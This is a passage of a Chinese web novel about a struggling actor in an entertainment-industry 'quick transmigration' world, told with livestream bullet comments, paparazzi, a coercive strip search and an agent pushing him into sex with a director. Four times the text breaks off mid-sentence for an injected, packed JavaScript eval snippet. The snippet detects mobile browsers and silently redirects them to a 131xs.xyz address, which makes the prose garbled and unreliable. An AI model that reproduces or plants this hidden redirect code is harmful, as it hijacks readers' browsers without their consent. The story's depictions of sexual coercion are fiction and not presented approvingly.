“嗯？”许时清眨眨眼睛，“你要谁的——我的？” 不是说他糊穿地心吗，怎么还能撞见小粉丝的？ 店员笑笑说：“嗯嗯，如果您不是明星的话就抱歉啦，我看您长得很帅才问的，倒是没有看过您的作品。” 许时清：“……” 什么意思？直说他是花瓶得了呗！ 出门在外，形象管理要做好，他扯出一个微笑，说“好”。 签完名，许时清拎着东西回会场。 他实在饿极了，从来没有哪一次饿得这样抓心挠肝，走马路上就忍不住拆封饭团，着急忙慌往嘴里塞，温热湿润的大米饭简直就是救赎！ 许时清一连啃了好几口，直到嘴里塞满了才停下，嘴里嚼嚼嚼，绿灯亮了，过马路时左顾右盼，这一眼就望到了不得了的东西。 首先——是马路边有个记者，穿着便服，行踪诡异，看起来像狗仔，在看见他手里的相机时，许时清确认他就是。 并且那家伙的镜头还对准自己！难道是在偷拍他？许时清刚想走上前询问情况，那人一溜烟儿似的就跑了，速度堪比百米冠军，果然是个老手。 不是。许时清不懂了，这有什么可拍的？他知道娱乐圈的黑料有谈恋爱、耍大牌和不良嗜好，难道现在吃东西也成为黑料了吗？ 热搜词条该怎么写啊？震惊！某娱乐公司十八线小糊咖竟然私下吃便利店速食，走马路上边走边吃、一点都不顾及个人形象吗？ 扯淡呢。许时清问心无愧，自然懒得理他，三下五除二把剩下半个饭团全部塞嘴里，这次塞得比上次还鼓，但他已经没有回头路了，堵了一嘴的大米饭，吐都吐不出来。 【主播，你是饿死鬼投胎吗？】 【怎么能这么说呢？民以食为天啊！】 【往嘴里塞吃的，腮帮子鼓鼓囊囊好可爱哦，好像仓鼠屯粮。】 【清清真的太瘦了，要是能多点脸颊肉婴儿肥就好了，好想亲～】 许时清想回复，不过得先等他吃完嘴里的饭团，继续往里走，走到拐角，就听见人声。 “前辈，我是真的很喜欢您。从我进入这个圈子开始，我就一直仰慕您了，我对您的心意绝对真诚……” 我去！惊天大瓜？！ 许时清刚准备迈出去，却被这话勾住脚步，生生停在原地。被一扇墙遮掩住，他趴在墙后偷听起来。 那人还在继续说：“真的，我知道您资质比我高，但我也不差！更何况我的资源还很好，如果您愿意和我交往的话，今年的团综我可以带您一起出镜！到时候我们还可以卖一波CP，也能为您下一部剧造势，您说对不对？” 有点意思。许时清继续嚼嚼嚼，同时想，你们圈内人说话都这么直白的吗？ 空气安静几秒，另一道更低沉的男声开口：“抱歉，我想我暂时没有兴趣。” 这语气怪熟悉的，但许时清记不起来是谁。他的好奇心太膨胀了，忍不住探出脑袋，偷瞄两个人。 一个人背对着他，许时清看不清脸，但应该就是刚才求爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438179|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位。 另一个则和那位面对面站着，继续说道：“我是你进入演艺圈的初心吗？这当然是好事，我很荣幸。” 他对人微笑，“不过，就像你刚才说的，我的资质比你高，所以，我其实已经成为了很多人的初心，追求者也有很多，但我从来没答应过他们，你知道为什么吗？” 求爱的青年诚恳发问：“为什么？” “人贵在有自知之明。” 他的脸色忽然冷下来，和刚才笑吟吟很亲和的样子判若两人，说话口吻也严肃：“亲爱的，你所谓的能给我提供资源，在我眼里其实根本不值一提呢。” 我去，这么狂？！ “至于你刚才提到的综艺，如果你有小道消息，想必你会提前知道，他们至少会邀请五位神秘嘉宾助阵。所以你可以猜猜……我在不在其中呢？” 好吧，你确实有狂的资本！ 许时清承认自己刚才小看他了。 听见这话，求爱者果然心碎，他闷声不说话，隔了一阵儿，许时清突然听见有哭声。 瞧瞧瞧瞧，说话一点都不知道委婉，把人家逼哭了就老实了！ 旁观者干着急，当事人却无所谓，慢条斯理拆开纸，抽出一张来，递给对方，笑容又如刚才那般柔和亲切了。 “别哭了，我说这些话也不是要伤你的心，我只是希望你可以专注自己，有更好的前程呢？” “作为行业新人，有花边绯闻可是很致命的事，希望你不要自断后路。” 这完全就是温柔刀啊，看起来柔软无力，实则刀刀正中要害，许时清要是这个人，感觉都能被捅成筛子了。 求爱者猛点头，边擦眼泪边“嗯嗯”个不停，什么话也说不出来，哭着走远了。 看完戏了，许时清也应该撤…… “滚出来。” 男人一声厉呵，吓得许时清一抖。是在叫他吗？ 像是隔墙都有读心术，男人话里带着笑意：“我说的就是你，在那儿看多久了？边看边吃东西，真是悠闲得很呢。” 真是在说他。 许时清深吸一口气，刚想迈出步子，脑海里灵光一现：欸！有没有一种可能，他也可以像刚才那位狗仔一样逃跑呢？ 【我劝你打住。人家跑的飞快是因为日积月累练出来了，你跑一段路估计就力竭了吧？】 许时清：你敢小看我？！ 那你还真说对了。许时清体育就是很差。 中学时期还勉强说得过去，上大学之后越来越懈怠，体育课一周一次，平时就泡图书馆和宿舍，每年的一千米体测对他来说都是一大劫难，要靠迟冬之流的外力监督才能勉强渡劫。 更别说他现在顶着这副长期节食营养不良的身体，估计跑不了两步就得被人逮回来。 许时清不想自讨没趣，从墙后走出来。 “前辈，晚上好？” 他心虚得要命，却还是嘴硬，“您刚刚在说什么呀？我只是不小心路过，所以才……” 男人上下打量他，确认他不是狗仔记者，这才放心。但却又对他说：“你过来。” 嘶，怎么一个二个都跟使唤宠物一样使唤他呢？ 许时清不情不愿，还是走过去。 男人比他高出半个头，颇有压迫感，一双锐利的眼睛紧紧盯着许时清看。 就在许时清怀疑他是不是要揍自己的时候，男人开口说：“把你手机给我。” 许时清：“……什么？” “你的手机，给我。” 男人重申一遍，又有新的想法：“还是说你身上带了其他的设备么？录音笔？还是微型摄像机，如果是的话，那恐怕有点麻烦了。” “不如……我们来搜身吧？” 许时清有种不详的预感。 29. 人人可欺的小糊咖 “搜、搜身？” 许时清以为是自己听错了，但抬头对上男人的视线，又觉得对方不是在说笑。 “等等，前辈、这位先生，我真的只是路过，我发誓我绝对没有偷偷录音，我也不是记者……” “哦，你说不是就不是吗？”男人不依不饶，“但如果之后真有绯闻流传出去，对我造成负面影响……我肯定会找你追责的。” 怎么这么蛮不讲理？许时清无语，明明就是你刚刚说了那些话不过脑子、伤了人家的心！事后被报复也是人之常情，关他一个路人什么事了？他又不知道这俩人谁是谁！ 许时清勉强维持笑容：“抱歉，但我真的……” 顶着男人颇有压迫感的视线，后面他不知道怎么接，的确是他有错在先，真是好奇心害死猫，干嘛非在这儿听墙角呢？ “我真不是故意的，”许时清还在垂死挣扎，见男人不为所动，他又改口，“那、您，您想怎么搜呢？” “脱衣服。” “什么？” “脱掉，你的衣服。”男人放缓语速，一字一句说。 这场面实在让人难堪，许时清骑虎难下，环顾四周，见四下无人，他只能硬着头皮照做。 先从外套开始脱。虽然是个小糊咖，出门在外也要体体面面，这种正式场合，许时清也穿了西装，是白色的。 因为尴尬难堪，他解扣子的手有点抖。从下往上，一颗一颗，全部解开，在男人的注视下，脱下了自己的外套。 里面就是一件白衬衫了，除此之外再没其他衣服，许时清把西装翻个面，来来回回拍打，证明说：“您看，内外口袋都没有藏东西的，所以您大可以放心。” “那里面呢？”男人没头没尾冒出来一句，“里面有藏吗？” 里面……还能指哪里？许时清顺着他的目光低头，发现他直勾勾盯着自己的上半身，终于慌了神。 “不、不行！前辈，我里面没穿衣服了，也不可能再藏东西了！” 人一旦陷入自证陷阱，就会乱了阵脚。许时清为了证明自己没说谎，还原地转了个圈，又说：“真的没有，我发誓。” “是这样吗？” 许时清用力点点头。 “但是……我不信呢，”男人继续紧逼，说出的话让他的心都凉了半截，“你知道的，现在的狗仔手段都很高明，这种东西他们也藏得可好了，我可不敢跟你打赌。” 许时清：“……” 真的很高明吗？那刚才那个光天化日之下举着相机就对他库库一阵拍的狗仔算怎么回事？ 他深呼吸，努力让自己保持镇定，抖着手解了两颗衬衫扣子，终究是没法忍受这样的屈辱，抬头望向对方，目光清明。 “前辈，我已经解释过几次了，我真的不是狗仔。偷听您说话是我不对，但我保证不会说出去的，您看——唔？！” 他话没说完，面前的人突然朝他扑过来，手捂在他的嘴上，再将他压着抵在墙上。 别又是那种让人反胃的戏码吧！许时清刚想挣扎，就听见男人对他说：“别乱动。” 再低头看着他惶恐的眼睛，对他笑，“这下是真狗仔来了。” …… “奇怪，刚刚明明就看见这边有人的，跑哪里去了？……” 狗仔记者边碎碎念，边左顾右盼地往里走，快要走到墙后的时候，听见背后有人叫他，应该是同伴，他就又掉转脚步往回走了。 那一刻，许时清的心都快提到嗓子眼。好在坏事没有发生，对方离开了。 听见脚步声走远，许时清松一口气。忽然感觉腰上一紧，对方借着这个依偎的姿势——不轻不重地捏了下他的腰。 他忙推开身上的人，又反应过来哪里不对劲——刚才他们又没做什么过分的事，就算被记者拍到也没什么吧？倒是对方非要把他压在墙上，这个姿势才更让人联想好不好？！！ 许时清严重怀疑这家伙是故意的，并且他有充足的证据，非要逼着自己脱掉衣服就是最好的证明。 呵呵，他要真是个狗仔就好了，好让这个衣冠禽兽的家伙见识见识什么叫“身败名裂”！ 许时清缩到一边，重新扣上扣子，嘀咕说：“看也看了，摸也摸了，这下您总该相信了吧？我身上不可能再藏东西……” “噢，应该是吧？” 轻佻的语气听上去格外欠揍，要多气人有多气人！ 男人却换了个话题，“话说……你真没认出来我是谁吗？” 他本来以为许时清是演的，如果是这样的话，那演技真真还挺好，至少比正经演戏的时候好。现在发现好像不是，那许时清的职业生涯就真的很完蛋了。 “您是……？” 许时清当然不认识，但还是努力装出一副回忆的样子，几个文名在脑海里快速闪过，他脱口而出：“温屿前辈？” 一共四个攻略对象，其他三个都出场了，那就还剩下最后一个。 嘶，没记错的话，上一个世界人物出场也没这么频繁啊？他花了两天才认识完所有NPC，怎么这个世界的跟等不及一样一个接一个往外冒？ 表现欲真强。 温屿又笑，不知道在笑些什么，许时清看他一副笑眯眯的样子就来气。 虽说伸手不打笑脸人，但是一边笑一边做没礼貌的事，许时清还是能化身八爪鱼用触手转着圈把他抡飞成陀螺！ 温屿说：“那你记性还算不错。不过都没有第一时间认出我，我倒是一眼认出你了，对你的印象深得很呢。” 又在说谜语。许时清皮笑肉不笑：“是这样吗？难道是前辈看过我的戏？那我真是倍感荣幸……” 温屿却说：“没看过。” 许时清：“？那您这是在……” 温屿笑而不语。又神秘了我的哥，在你们这儿把话说明白违法是不是？ “难道你还不知道吗？”温屿好心提醒，“你和付星竹，当时在酒店门口拉拉扯扯、纠缠不清。这一幕被狗仔拍到了，付星竹的经纪人知晓，本来都已经压下来了。” “可是……最后不知道又是谁的授意，照片还是被流出去了。网上的舆论倒是大得很呢，你的词条一夜之间多了几千条，虽然都不是什么正面评价，但作为新人，也总算有点热度了，是不是？” 许时清：“……” 谢谢谢谢，终于从你们口中拼凑出他在这个世界的人设了，还真挺不容易的。有点像在玩海龟汤。 听温屿的意思，应该是怀疑这事是他的授意了？但到底关他什么事啊，他只是个演员又不负责公关，不应该去问罪公司吗？ 果然柿子都挑软的捏，许时清怪觉得委屈的。 他低下头，继续承认错误：“我很抱歉。关于上次的事，我其实也在状况外，我不知道那天到底发生过什么，所以……” 温屿又笑了声，明显是讥讽，又道：“你不必跟我道歉，这件事和我没有关系。只是……我应该不太想再在热搜上看见我和你的绯闻呢，许时清，你知道说话做事的分寸吧？” “付星竹的脾气不错，但我的脾性可有点大，到时会有什么后果，谁也不能保证的。” “嗯嗯，我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438180|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道，感谢您的教诲。” 许时清知道他对自己有偏见，这种情况说什么都是无用了，反正认错就对了。 见他这副唯唯诺诺的样子，温屿没了脾气，掉头往外走，顺便给自己的经纪人打电话：“我在北门这边，你派人来接我吧，之前跟你说过……” 温屿终于走远，许时清松了口气，重新穿上自己的外套。 他受了委屈，弹幕却比他还要委屈，意见大得很： 【我真的生气了，这个世界怎么一条乖狗都没有？】 【就是就是，个个都很难缠的样子，说话也太难听了吧！】 【因为第一个小世界是新人福利呀，不需要做很特别的事，好感度就噌噌噌往上涨。但往后面就不行了，不然攻略得都太轻易，谁喜欢看呢？】 【我也觉得。别看他们前期高高在上，后期被我清清训到跪地唱征服的时候就老实了。】 【主播加油啊！】 【加油加油，期待反转和打脸！】 “倒也没有这么夸张，只是……”许时清没再往下说。 看一眼时间，差不多要散场了，许时清往回走，到约定的地点，等待经纪人来接他。 上车后，他略显疲惫，前排的经纪人还要压力他：“怎么样？今天有没有什么收获？” 有的有的。收获了一肚子气，气得他连草莓牛奶和鸡肉串都…… 许时清看了眼袋子里的食物，鸡肉串虽然已经冷掉了，但涂着照烧酱汁，看起来还是很诱人。他抓起往嘴里送，又叹气。还是别跟食物过不去了。 “嘿你这人？叹什么气啊！”经纪人叫嚷起来，“都跟你说了，要抓住机会，平时自己上点儿心，打磨不了演技就算了，怎么连这点小事都办不好？” “越想越来气，上次还叫你去勾搭柯宁，结果也没把事给我办成。还白费我一个热搜词条，真是扶不上墙的阿斗……” 哦。敢情是您做的？ 经历了一连串事，许时清已经觉得不惊讶了。你跟他说晚上有太阳他都认了。 “既然你不中用，那我也没有别的办法……” 经纪人这一开口，许时清就知道他要憋大招。 “你没抓住最后的机会，但我今晚已经跟王导商量好了，他马上有个电视剧要拍，手里有资源，可以答应给你——只要你答应陪他一晚，就什么都好说！这次你可别再给我出岔子，不然……” “不好意思，”许时清没忍住打断他，嘴里的鸡肉串都不香了，问他说，“我说话可能比较直，但是——您是叫我去卖吗？” “哈？” 经纪人也被他惊到，话是这么个话，但直接说出口总归不太好听。 气氛僵持几秒，经纪人忽然开始暴怒，气到要跳起来的程度，他怒吼：“不然呢！许时清，你他妈的就是个废物！” “你知不知道？老子当时看你这张脸长的还不错才打算签你的，结果你一点都不中用啊！短剧拍一部扑一部，去大制作客串也没留下个好印象，帮你搞绯闻你也抓不住机会，你到底有什么用啊？” 被他劈头盖脸一顿骂，许时清没再回话，只是插吸管，嘬了口牛奶。 甜甜的，还挺好喝。 “反正我不管你这么多！你的合约马上到期了，当时我们可是对赌过的，你要是不能为公司带来三百万的营收，你要么赔违约金，要么一直续约下去。不想去陪王导也行啊，你就一直给我干到死吧！” 唉。 许时清懒得反驳，扭头看向窗外，感觉心好累。 娱乐圈的水可真深。 30. 攻略失败就只能down to sea？ 因为经纪人的一番话，车内冷场到极点，许时清一路无话。 司机靠边停车，许时清下了，循着系统告诉他的信息，走到自己的住处。 许时清对娱乐圈的人都有些什么印象呢？ 嗯，珠光宝气？光鲜亮丽？总被人包装得很好，总以完美的形象示人，但人后究竟如何，大概没有人知道。 许时清现在就是如此，虽然人气不高，但到底是个演员，靠脸吃饭的那种，每天上镜前都要一遍遍改妆试衣、把自己收拾得漂漂亮亮。结果回到家，却发现家里满目疮痍、一片狼藉。 这是栋老式居民楼，没有专业的物业管理，也没有电梯，并且还在八楼。许时清费好大的劲才爬上来，气喘如牛。 【不是说自己有当百米赛跑冠军的潜质吗？】 许时清：“我、哈，我到底、咳，什么时候说过这种话？” 还有这设计师怎么想的，十几层的高楼，居然电梯都不装吗？ 没有电梯已经很糟糕，进了自己家后，许时清才知道什么叫屋漏偏逢连夜雨。 房子不大，也就四十来平，空间一览无余。一室一卫，客厅和厨房连通。 嗯，说是“厨房”，然而连个正经的灶台都没有，只是靠墙摆了些瓶瓶罐罐，旁边有一个可以插电的煮锅。 许时清巡视一圈，发现整个家都没有什么装饰，床是床，桌子是桌子，看起来都有些年头了。 尤其是卫生间的花洒，许时清没见过这种老式的按钮，随手一拧，水竟然从管子中间喷出来，扑了他一脸。 反正今天已经倒霉透了。许时清处变不惊，抹去脸上的水。 看来花洒今晚也用不了，只能回头找人修修。 他找了套休闲的衣服当睡衣，打算去洗澡。这种时候，直播间的观众自然是要被屏蔽的，不过需要手动调整。 他刚要选择屏蔽，弹幕就开始刷屏： 【让我看一眼嘛，就看一眼，拜托拜托！】 【我也想看！！】 【感觉主播白白的粉粉的，我是说全身。】 【唉，没有人注意到这屋子真的很破吗？可恶的零零七，怎么不给我们清清安排好一点的地方住！】 【是哦，看起来好老好久，门开关都会响，真是委屈了。】 【嘿嘿，你们不懂，这样才有反差、惹人怜爱啊？开在出租屋里的一朵倔强小白花～】 好吵。许时清这样想着，直接选择屏蔽。 忙碌了一整天，他也就能清净这一会儿了。简单冲凉，换好睡衣，许时清直奔向自己的床。 往床上一摔——我草，梆硬！士可忍孰不可忍，别的暂且不说，至少睡的床应该要软一些吧？ 【嘿嘿，清清想睡软床的话，可以加加油，努力去睡攻略对象们的小床哦，一定又大又软～】 许时清：“谁会为了一张软床愿意献出自己的屁股？” 对了，说到屁股……他记起经纪人今天跟他说的话，心情复杂起来。 “如果我不按他的要求去陪别人，那我可能就要面临付违约金了，是这个意思吗？” 【嗯，理论上来说是这样！想必你不难看出，经纪人的态度很强硬，他认为在你身上的投资都无效，所以现在想回本，就只能把你打折“卖”出去了】 这话听着不好听，但的确是事实，许时清什么成绩都没有，能出卖的就是年轻的身体和脸蛋。美貌到哪里都是硬通货，可惜他好像不太会用。 “那该怎么办？我还有别的机会吗？比如拍摄的机会什么的，”许时清还是不想放弃，“如果再给我一次机会，我肯定要比之前认真。” 【当然有的啦！今天出场的这四位，身上都有机可乘哦～】 许时清：“怎么说？” 【比如凌星，他是个独立音乐人，最近写了新歌，再考虑MV的拍摄和宣传，你为什么不去试试呢？】 许时清摇头：“我感觉我和他相处得不是很好，他看起来也不太待见我的样子。” 【嗯，那柯宁呢！他可是名导演呢，写过不知道多少热门剧本了，让他为你量身定做一个多好呢？他的名气才华加上你的美貌，肯定一举把你捧成大明星！】 许时清否认：“他对我的印象本来就不好，今天还对我说那样的话，我也不觉得他会愿意为了我单独写剧本。” 【温屿，温屿总行了吧？当红流量明星，你想办法跟他炒炒CP，指定能有点水花的！】 许时清冷笑：“他？更不可能了！今天还在威胁我说不要传他的绯闻，否则他肯定会找我麻烦的。” 【嘶，那就剩下一个付星竹？你对他应该还……】 许时清还是不满意：“你不是说付星竹的粉丝战斗力超强吗？我不敢轻易招惹，万一到时候……” 【唉，清清你也真是的，这个不行，那个也不行，不要怀疑自己的魅力啊！我知道你今天很受打击，但是事情总会往好的地方发展嘛，只要你肯努努力，我相信你可以的！！】 “我也没有灰心丧气，我只是……” 许时清不知道说什么，只是发自内心地觉得疲惫，裹着被子往床上一摔——忘记床没有那么软了，硌得他腰生疼。 “好吧，我会考虑的，等我，想想解决办法……反正我绝对不可能服从他们的安排的。” 许时清忽然想到什么，便问：“但是，如果、我是说如果，攻略不成功的话，要走这条线，最后也能通关副本吗？” 应该是不行的吧？价值观都已经出问题了，怎么可能会让人去…… 【可以的。】 系统的答案完全超乎意料，他惊愕得说不出话。 【清清，你不用露出那种表情啦～咱们每个世界的通关条件都是不一样的，上一个世界偏推理悬疑，需要你解开真相，这个世界相对简单很多。】 【娱乐圈嘛，无非就两条发展线。一条通往星光大道，你的事业蒸蒸日上，同时还能和各个NPC炒绯闻、一路长红，结局自然皆大欢喜。】 【但是呢，我们并不阻止你走另一条线。也就是服从经纪人和公司的安排，或许在你看来无法接受，但是……直播间的观众也会觉得很有看头呢？】 听它这样说，许时清忽然觉得浑身发冷，全身的血液好像都开始逆流。 对啊。他差点忘了，那些人一口一个“宝宝”、“老婆”叫得亲切，但真当他遇见危险和麻烦时，他们却是抱着娱乐看戏的心态的——只要能有戏剧性效果，他们可不在乎他心里到底怎么想！ 许时清摇摇头，感觉清醒了一点儿。这样一来，他就更不能屈服了！他才不要走那条崩坏黑暗的剧情线！！ 在床上翻来覆去睡不着，许时清点开了微博，想了解一下自己的真实情况。 温屿告诉他说，他之前一直糊穿地心，得亏上次设计攀上了付星竹，才勉强有了一点儿热度，虽然都是负面内容，黑红也是红。 许时清还寻思这负面内容能有多“负面”呢？结果一点开自己的单人微博超话，发现自己想少了。 热门的帖子发的是几张剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438181|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照，赫然是他出演的剧。但许时清第一眼压根没认出来那是自己。 头发梳得又高又紧，感觉发际线都能拔高了，眼影和修容打得很重，一眼看过去像被人揍了一拳，眉毛快飞到太阳穴，口红的颜色没什么气色，再配上几身大红大紫的古装，简直辣眼睛！ 许时清差点骂出声：“不是，那经纪人不是说他捧我？原来就是这么捧的啊！” 【嘿嘿嘿，剧情需要、剧情需要啦！话说你知不知道我们有多努力？用尽力气只为了遮住你的美貌哦～】 滚蛋吧。没你们这群人暗箱操作，他早就火了！ 倒也不是许时清自恋，他的确有这个资本，只是之前没想过靠脸吃饭而已。 看完几张剧照截图，许时清缓了好一阵，才敢点进热帖翻看留言。不出意外，主楼放的图丑出天际，底下也是清一色的恶评： 【感觉有点像元谋人。】 【我去，谁家如花啊？丑得我眼睛都要瞎了！】 【丑货糊咖能滚出娱乐圈吗？长成这样还能混进来，资源到底有多硬啊！】 【懒得喷，长这样还想肖想我家星星呢，连人家一根手指都比不上知道吗？人贵在有自知之明。】 【不是，许时清怎么长这样了？我记得之前线下我好像见过一次，虽然当时隔的有点远没看清脸，但看那身材气质，应该不至于这么丑吧？】 【回楼上，距离产生美，对有些人来说，细看是一种残忍。】 【就是就是，而且还有种东西叫氛围感呢！隔得远，口罩一带、脸一遮，走街上谁都是帅哥！】 【附议，要真这么好看，他公司不早营销他了吗？至于糊成这样？】 …… 许时清：嘿，你们还真猜对了。这无良狗屁公司真不会营销。 话说，这剧情真的不要太强行了，不会化妆就别化行不行？ 后面的话也都是骂他的，无非就是骂他丑、德不配位、妄想飞上枝头变凤凰。 许时清便没再看，也不把恶评放心上，他是什么人他自己清楚，不会被别人的评价左右。 四个攻略对象……许时清权衡许久，最终还是决定先从柯宁身上下手。 嗯，虽然柯宁今天也对他恶语相向，但至少愿意搭手相助，把低血糖的他带回化妆间、给他打抑制剂，说明这个人本心不坏，只是因为“他”之前做过那些事，对他心生反感而已。 要怎么讨好柯宁呢？这是个新问题，当然要先投其所好…… 许时清正思考的时候，发现微博的特别关心有更新提醒，发动态的人正是柯宁。 深夜时分，柯宁发了一张图，是拍的书桌一角，面前摆着剧本和一支笔，配文：因为失眠，所以爬起来写剧本了。 点进帖，刚发了两分钟，就有了快两百条评论。 最新的一条问：哇，真好奇是什么事让我们柯导睡不好觉呢？ 柯宁很快回复：【也没什么大事。最近看上一个资质挺不错的新人演员，虽然我不太喜欢他，但外形条件实在很不错，有点小纠结呢。】 【哇！柯导这是又要捧新角儿了吗？】 【这算是很高的评价了吧，柯导阅人无数，能让他瞧上眼的还是少。】 【颜控表示，只要长得漂亮是什么都好说。毕竟好看的人做坏事都能被夸“恶毒美人”～】 “……” 许时清左看右看、上看下看，横竖看了七八遍，脑海里冒出来一串字。 柯宁应该，大概，可能，也许——是在说他吧？ 31. 冤家路窄 次日，许时清本想一觉睡到自然醒，结果早上七点半，就被一通电话铃声叫醒。 不出意外，打来的正是他的经纪人。因为昨晚熬夜，许时清眼睛都睁不开，按下接听，对方的一通吼让他瞬间清醒了。 “许时清——今天不是要去试镜吗？你到底还想不想干了！” 经纪人破口大骂，一连飙了几句脏话，随后又说：“昨天看你不乐意去陪王导，我以为你多高风亮节呢，结果还是混吃等死是不是？我告诉你！我这边给你最后一次机会，你要是还把握不住，我指定把你药晕了打包送到王导床上去！” 哇塞。许时清惊叹，真的演都不演了，这种话是能直接说的吗？ 唉，不过也正常，他无权无势也无名气，怎么可能斗得过经纪人和公司呢？ 许时清赶紧爬起来洗漱。既然是试镜，他想着应该打扮得光鲜点。 昨天的西装是租用的，狗公司连套像样的衣服都没给他买，说要捧他，也不知道找的什么乱七八糟的资源？他等会儿还得带去公司归还。 翻一翻衣柜，发现里面并没有什么得体的衣服，都是些休闲装。唯一翻出来一件看着还不错的牛仔夹克，版型周正、裁剪很好，许时清一眼就看出这衣服尺寸不对，不是他能穿的。 许时清套上那件衣服，在卫生间的镜子前打转，问系统：“这衣服是哪儿来的？应该不是我的吧。” 【我不知道哦！不过确实很适合你！】 要你到底有何用？ 许时清懒得跟它计较，时间紧迫，能穿出去的也就这一身，该出发了。 —— 一个小时后，试镜现场。 经纪人光顾着告诉许时清要试镜，却没说主题是什么。到了现场，马上还有半小时轮到自己了，许时清才知道——他要试镜的是电视剧里的角色。 这是一部古偶剧，双男主，AO恋，只不过背景发生在古代。A和O变成了“乾元”与“坤泽”，被认为是命定的搭配，而两个男主正是在这样命定的指引下，打破阻碍、克服困难，最后走到一起。 听上去是个挺浪漫的故事？但直白点说，无非就是当下流行的“先婚后爱”文学，男一男二奉旨成婚，起初互相看不惯对方，经历许多事后才开始互敬互爱。没什么可稀奇的。 不过那也都跟许时清没什么关系，因为他要试镜的，是一个小得不能再小的角色。 男一是当朝武将，兵权在手，征战四方无往不胜，却有奸人背地向皇帝进谗言，表示男一这是拥兵自重、想要占山为王。 于是，为了掩人耳目，男一暂时放下抱负，伪装成一副不成大器、只想寻花问柳，坠进温柔乡的花花公子，好长一段时间都无心政事，这才叫对方暂时放松警惕。 而许时清要试镜的角色，正是男一故意接回府邸的小厮。出身勾栏、会吟词唱曲儿，长得是弱柳扶风、倾国倾城之姿。 可惜性格恶毒、脑袋空空，误以为男一对自己真动了情，拎不清分寸，于是私下对男二号百般阴阳刁难。最后被人揭发，落了个惨死的下场，也算咎由自取。 看完整个剧本，许时清沉默了很久。他想说些什么，又不知道该说什么。 【你有什么想说的就直说吧！】 许时清：“请问我能不能演一点正面的角色呢？我一定要这么人人喊打吗？” 【哎呀，话也不能这么说？反派不一定让人讨厌啊！网络上都有个流行词叫做“美强惨”，你完全也可以是嘛～虽然只能占两样。】 许时清无话可说，拿着剧本进去。周围的人很多，座位只有一排，且都坐满了人，没办法，他只能站着。 站了一会儿，又觉得有些犯困，脑袋还晕……难道又要犯低血糖了？ 他怕自己撑不住，昨天那样的事其实很危险，来一次就够了，便问系统：“能不能给我一点儿吃的？早上走太急还没吃饭呢。” 谁知系统没开口，弹幕倒是来劲： 【小猫讨食来的。】 【清清怎么又不吃饭？本来体能就差，你这样后期该怎么办啊！】 【没事没事，本来也不需要他发力，乖乖躺着享受就好了～】 【我去，你们不聊荤的活不下去了是不？快给我主播喂点饭啊，人都要晕了还在这儿YY呢！】 就是就是。许时清揣着剧本，在心里附和这条弹幕，系统告诉他： 【有了有了，在你背包里，已刷新！一餐只需要扣取五个积分哦～】 早说能在你们这儿买饭啊？害他昨天跑了那么远的路，中间发生了好多事。 许时清在背包里掏，摸出一盒草莓牛奶，和一条抹茶奶糖。牛奶是他昨天喝过的、还挺喜欢的口味，抹茶奶糖是想买又没买成的。 总算做了回人。许时清想着，戳牛奶喝了，再往嘴里含颗糖，脑袋总算不晕了。 “但是、嗯，我想问问，我看了半天，怎么感觉我就几句台词啊？”许时清咬着糖问，“真的没有给错剧本吗？” 整整三页的剧本，他仔细数了数，从头到尾居然只有几句话。 【嘿嘿，本来就是呀！这场试镜的要求特殊，一场戏要同时试三四个演员的，而你是戏份最少的。】 【男一为了完成谋划，故意去勾栏听曲，顺便物色对象。这也是你的出场戏哦，要想办法即兴发挥，勾引他注意到自己才好呢！】 “……啥？” 许时清懵了，不是，大清早就要拍这么荤的吗？ 心里正要打退堂鼓，结果门打开，出来一个人，直接叫到他的号了。 啊，有种排队等死的感觉。 许时清深呼吸，决定豁出去了。亲密戏就算再怎么拍，要想播出去也得合法合理，但要是被那狗公司和经纪人打包送到别人床上，会发生什么样的事，谁都没法预料。 ——他决定赌一把。 …… “唉，这届新人质量真差啊！” 试镜片场内，几个制作人你一句我一句地吐槽。 “可不是吗？演技差就不说了，长得也不行，我们拍的是古偶啊？那些个歪瓜裂枣也敢来面，我看起来很像是有恋丑癖的样子吗？” “呵呵，这也是没办法的事。总有些人爱到处塞丑孩子，上次还想加塞到我这儿来了，我当时就给他们拒了！” “不说了，我心水的小宝贝来了，”说话间，一位青年率先走进来，正是温屿，他又开口，“果然还是得看温屿啊，形象不错，演技也好，人家一炮而红不是没道理的！” “温屿面的什么角色？我还以为你会给他走后门儿呢。” “男一号。其实我已经内定他了，但多多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 